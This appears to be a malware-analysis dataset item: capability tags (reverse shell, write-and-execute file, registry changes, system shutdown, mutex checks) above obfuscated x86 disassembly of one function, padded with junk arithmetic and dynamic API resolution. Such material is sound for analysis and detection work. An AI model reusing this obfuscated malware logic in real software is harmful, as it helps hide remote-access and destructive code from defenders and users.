Function at 0x431e90
Capabilities:
Accept command line arguments
Allocate thread local storage
Check mutex and terminate process on windows
Check mutex on windows
Clear file content
Create pipe
Create process on windows
Create reverse shell
Create thread
Delete file
Get common file path
Get graphical window text
Get thread local storage value
Query environment variable
Read file on windows
Read pipe
Resolve dns
Set environment variable
Set registry value
Set thread local storage value
Shutdown system
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
mov dword [ebp - 0x10], 0x17f7a
mov dword [ebp - 0x28], 0x9fc4
mov dword [ebp - 0xc], 0xd5d6
mov dword [ebp - 0x18], 0xefea
mov dword [ebp - 0x2c], 0x4790
mov dword [ebp - 0x34], 0x2a54
mov dword [ebp - 0x38], 0x100da
mov dword [ebp - 0x1c], 0x2028
mov dword [ebp - 0x30], 0x12bc5
mov dword [ebp - 8], 0x138ca
mov dword [ebp - 0x14], 0xfea0
mov dword [ebp - 0x48], 0xe038
mov dword [ebp - 0x44], 0xf3cb
mov dword [ebp - 4], 0x118dd
mov dword [ebp - 0x3c], 0x55c9
mov dword [ebp - 0x40], 0x6ebc
mov dword [ebp - 0x54], 0x1306c
mov dword [ebp - 0x20], 0x8674
mov dword [ebp - 0x24], 0x100a2
mov dword [ebp - 0x50], 0xb710
mov dword [ebp - 0x4c], 0x132f6
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x38]
sub ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0x6bda
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
jmp 0x431f5e
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x28]
jge 0x4321e1
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 4]
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xb0]
cmp eax, dword [ebp - 0xb4]
jge 0x431f9e
mov ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x54]
jl 0x431fc7
mov edx, dword [ebp - 8]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xb8]
cmp edx, dword [ebp - 0xbc]
jge 0x431fd0
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 4]
jge 0x432086
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0xc]
jge 0x432086
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0xc0], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc0]
cmp ecx, dword [ebp - 0xc4]
jge 0x432086
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x14]
je 0x43203e
mov eax, dword [ebp - 0x44]
sub eax, 1
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x44]
jge 0x43203e
mov edx, dword [ebp - 0x20]
xor edx, dword [ebp - 0xc]
jne 0x432072
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0xcc], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0xcc]
jl 0x432072
mov ecx, dword [ebp - 0x38]
xor ecx, dword [ebp - 0x4c]
je 0x432086
mov edx, dword [ebp - 0xc]
and edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 8]
jge 0x432086
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 8]
jge 0x4320b7
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xd0]
cmp edx, dword [ebp - 0xd4]
jl 0x4320d5
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xd8], 0
je 0x43211f
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x2c]
jge 0x43211f
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0xc]
jl 0x432116
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x20]
jge 0x43211f
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x3c]
jge 0x43211f
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0xdc], 0
je 0x43211f
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x3c]
jge 0x432130
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x38]
jge 0x4321dc
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x4c]
jge 0x4321dc
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0xe0], 0
je 0x4321dc
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x2c]
jge 0x4321dc
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xe4]
cmp ecx, dword [ebp - 0xe8]
jge 0x4321cb
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x38]
test edx, edx
je 0x4321cb
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xec]
cmp eax, dword [ebp - 0xf0]
jl 0x4321d3
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x10]
jge 0x4321dc
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
jmp 0x431f55
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 0xc7fb
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 4], edx
jmp 0x43220a
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x48]
jge 0x43225a
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x50]
jl 0x432234
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x34]
jge 0x43223d
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x40]
sub ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x50]
sub eax, 1
mov dword [ebp - 0x50], eax
jmp 0x432201
call fcn.0040a370
mov ecx, dword [ebp - 0x44]
sub ecx, 0x2b5d
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x44]
mov dword [ebp - 0x10], edx
jmp 0x43227f
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x50]
jge 0x43264b
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x14]
jge 0x43236e
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x54]
jge 0x4322a7
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x20]
jl 0x43230e
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 8]
jge 0x4322bb
mov dword [ebp - 0x98], 1
jmp 0x4322c5
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x24]
xor eax, dword [ebp - 0x98]
jne 0x43230e
mov ecx, dword [ebp - 0x2c]
sub ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x2c]
jge 0x43236e
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0x28]
sub edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xf8]
jge 0x43236e
mov ecx, dword [ebp - 8]
xor ecx, dword [ebp - 0x38]
je 0x43231e
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x20]
jl 0x432365
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 4]
jge 0x432332
mov dword [ebp - 0x9c], 1
jmp 0x43233c
mov dword [ebp - 0x9c], 0
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0x9c]
mov dword [ebp - 0xfc], ecx
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0xfc], 0
jne 0x432365
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x24]
je 0x43236e
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x40]
imul edx, dword [ebp - 0x3c]
test edx, edx
je 0x432428
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xc]
jge 0x4323c9
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x18]
jge 0x4323b4
mov dword [ebp - 0xa0], 1
jmp 0x4323be
mov dword [ebp - 0xa0], 0
mov edx, dword [ebp - 8]
xor edx, dword [ebp - 0xa0]
jne 0x4323d9
mov eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x40]
je 0x432428
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x30]
jge 0x432428
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 4]
je 0x4323e9
mov eax, dword [ebp - 0x20]
and eax, dword [ebp - 0xc]
jne 0x4323f4
mov ecx, dword [ebp - 0x14]
xor ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x40]
jge 0x432428
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x2c]
jge 0x43240f
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x43240f
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x34]
jl 0x43241f
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x44]
jl 0x43241f
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x3c]
jge 0x432428
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x20]
jge 0x432646
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0xc]
jge 0x432455
mov edx, dword [ebp - 0x34]
and edx, dword [ebp - 0x2c]
je 0x432455
mov eax, dword [ebp - 0x3c]
and eax, dword [ebp - 0x14]
jne 0x43246a
mov ecx, dword [ebp - 0x48]
sub ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 8]
jge 0x432646
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x100], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0x104]
jge 0x4324a7
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 4]
jl 0x4324cb
mov eax, dword [ebp - 0x30]
and eax, dword [ebp - 0x4c]
je 0x432646
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x24]
je 0x432646
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 4]
jge 0x432646
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x28]
je 0x432646
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x20]
jge 0x4324eb
mov dword [ebp - 0xa4], 1
jmp 0x4324f5
mov dword [ebp - 0xa4], 0
mov edx, dword [ebp - 0x30]
or edx, dword [ebp - 0xa4]
je 0x432529
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x10c]
jl 0x432552
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x2c]
jge 0x432646
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x40]
jge 0x432646
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x3c]
sub eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x110]
cmp ecx, dword [ebp - 0x114]
jl 0x432587
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x2c]
jge 0x432646
mov eax, dword [ebp - 4]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0x11c]
jge 0x4325bc
mov dword [ebp - 0xa8], 1
jmp 0x4325c6
mov dword [ebp - 0xa8], 0
mov ecx, dword [ebp - 0x30]
or ecx, dword [ebp - 0xa8]
jne 0x43262d
mov edx, dword [ebp - 8]
or edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x14]
jl 0x43262d
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
xor ecx, dword [ebp - 0x28]
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x120]
cmp ecx, dword [ebp - 0x124]
jge 0x432619
mov edx, dword [ebp - 0xc]
or edx, dword [ebp - 0x18]
jne 0x43262d
mov eax, dword [ebp - 0x34]
sub eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x1c]
jge 0x432646
mov edx, dword [ebp - 0x2c]
and edx, dword [ebp - 0x18]
je 0x432646
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 8]
je 0x432646
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
jmp 0x432276
cmp dword [0x4f9254], 0
jne 0x432695
push 0xdfaa
push 0x7df1
push 0xc0a6
push 0x225d
push 0x4f54
push 0xb2ff
push 0xea61
push 0xd34e
push 0xa57b
call fcn.00428ed0
add esp, 0x24
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4f9254], eax
call fcn.0040ae10
mov edx, dword [ebp - 0x54]
sub edx, 0x118b5
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x54]
mov dword [ebp - 0x40], eax
jmp 0x4326ba
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x20]
jge 0x432767
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x10]
jl 0x4326df
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 0x48]
jge 0x4326e8
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0xc]
jge 0x432702
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x44]
sub ecx, 1
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x38]
sub edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x38]
jne 0x432745
mov ecx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x54]
test ecx, ecx
jne 0x432745
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x128], 0
je 0x432762
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x10]
jge 0x432762
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
jmp 0x4326b1
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x30]
sub edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [0x4f9268]
push eax
mov ecx, dword [0x4f9258]
push ecx
mov edx, dword [0x4f9264]
push edx
mov eax, dword [0x4f9250]
push eax
mov ecx, dword [0x4f9254]
push ecx
push 0x207e
push 0x36e4
push 0x5186
push 0xc86d
push 0xbadb
push 0x4070
push 0xe463
push 0xe056
push 0x431e
call fcn.0042f9d0
add esp, 0x24
push eax
mov edx, dword [0x4f9254]
push edx
call fcn.00433070
add esp, 8
call eax
test eax, eax
je 0x432ffe
call fcn.00428750
call fcn.00404890
cmp dword [0x4f9254], 0
je 0x432ffe
mov dword [ebp - 0x16c], 0xf5ad
mov dword [ebp - 0x90], 0x46bf
mov dword [ebp - 0x94], 0x6adf
mov dword [ebp - 0x68], 0x943e
mov dword [ebp - 0x84], 0x159f8
mov dword [ebp - 0x5c], 0xab73
mov dword [ebp - 0x70], 0x12e0
mov dword [ebp - 0xac], 0xafd2
mov dword [ebp - 0x64], 0x175d3
mov dword [ebp - 0x88], 0xe7b
mov dword [ebp - 0x58], 0x7777
mov dword [ebp - 0x60], 0x5628
mov dword [ebp - 0x6c], 0x1122b
mov dword [ebp - 0x144], 0x12113
mov dword [ebp - 0x80], 0xa46f
mov dword [ebp - 0x140], 0x1566b
mov dword [ebp - 0x8c], 0x112be
mov dword [ebp - 0x74], 0xbbc0
mov dword [ebp - 0x78], 0x26b5
mov dword [ebp - 0x7c], 0x230e
mov dword [ebp - 0x134], 0x1719a
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x88]
or ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x6c]
jge 0x432903
mov edx, dword [ebp - 0x6c]
sub edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x130], ecx
mov edx, dword [ebp - 0x84]
add edx, 1
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0x130]
jl 0x43290b
mov ecx, dword [ebp - 0x80]
and ecx, dword [ebp - 0x68]
je 0x432914
mov edx, dword [ebp - 0x80]
add edx, 1
mov dword [ebp - 0x80], edx
call fcn.0042bd90
mov eax, dword [ebp - 0x70]
add eax, 0xca7b
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x68]
add ecx, dword [ebp - 0x70]
mov dword [ebp - 0x68], ecx
jmp 0x432938
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x134]
jge 0x432b1f
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x138], ecx
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x13c], edx
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x138]
cmp ecx, dword [ebp - 0x13c]
jl 0x43299c
mov edx, dword [ebp - 0x140]
cmp edx, dword [ebp - 0x90]
jge 0x432989
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x6c]
jl 0x43299c
mov ecx, dword [ebp - 0x64]
cmp ecx, dword [ebp - 0x84]
jge 0x4329ec
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x70]
jge 0x4329ec
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x6c]
jge 0x4329ec
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x148], ecx
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x74]
add eax, 1
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x148]
cmp ecx, dword [ebp - 0x14c]
jge 0x4329ec
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x70]
jge 0x4329ec
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x78]
jge 0x4329ec
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x70]
sub edx, dword [ebp - 0x78]
cmp edx, dword [ebp - 0x58]
jl 0x432a66
mov eax, dword [ebp - 0x5c]
sub eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x94]
cmp ecx, dword [ebp - 0x80]
jge 0x432a48
mov edx, dword [ebp - 0x88]
add edx, dword [ebp - 0x58]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x58]
sub ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x150]
cmp edx, dword [ebp - 0x154]
jge 0x432a48
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x80]
jl 0x432a66
mov ecx, dword [ebp - 0x64]
xor ecx, dword [ebp - 0x60]
mov dword [ebp - 0x158], ecx
mov edx, dword [ebp - 0x60]
add edx, 1
mov dword [ebp - 0x60], edx
cmp dword [ebp - 0x158], 0
je 0x432aa8
mov eax, dword [ebp - 0x7c]
or eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0xac]
jge 0x432a94
mov ecx, dword [ebp - 0x8c]
sub ecx, 1
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x90]
cmp edx, dword [ebp - 0x8c]
jl 0x432a9f
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x94]
jge 0x432aa8
mov ecx, dword [ebp - 0x78]
sub ecx, 1
mov dword [ebp - 0x78], ecx
mov edx, dword [ebp - 0x7c]
add edx, 1
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x15c], eax
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x160], ecx
mov edx, dword [ebp - 0x58]
sub edx, 1
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x15c]
cmp eax, dword [ebp - 0x160]
jge 0x432af9
mov ecx, dword [ebp - 0x74]
cmp ecx, dword [ebp - 0x64]
jge 0x432af9
mov edx, dword [ebp - 0xac]
cmp edx, dword [ebp - 0x8c]
jge 0x432af9
mov eax, dword [ebp - 0x78]
add eax, 1
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x88]
sub ecx, 1
mov dword [ebp - 0x88], ecx
mov edx, dword [ebp - 0x5c]
sub edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x7c]
sub eax, 1
mov dword [ebp - 0x7c], eax
jmp 0x43292f
call dword [sym.imp.CRYPT32.dll_CryptMsgGetParam]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
call dword [sym.imp.KERNEL32.dll_TlsFree]
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call dword [sym.imp.USER32.dll_MessageBoxA]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x34]
jge 0x433025
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 4]
jge 0x433025
mov ecx, dword [ebp - 0x3c]
or ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x18]
jl 0x43304e
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x164], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x168], eax
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x164]
cmp edx, dword [ebp - 0x168]
jge 0x433067
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x24]
jge 0x433067
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x2c]
jge 0x433067
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
call fcn.00406650
mov esp, ebp
pop ebp
ret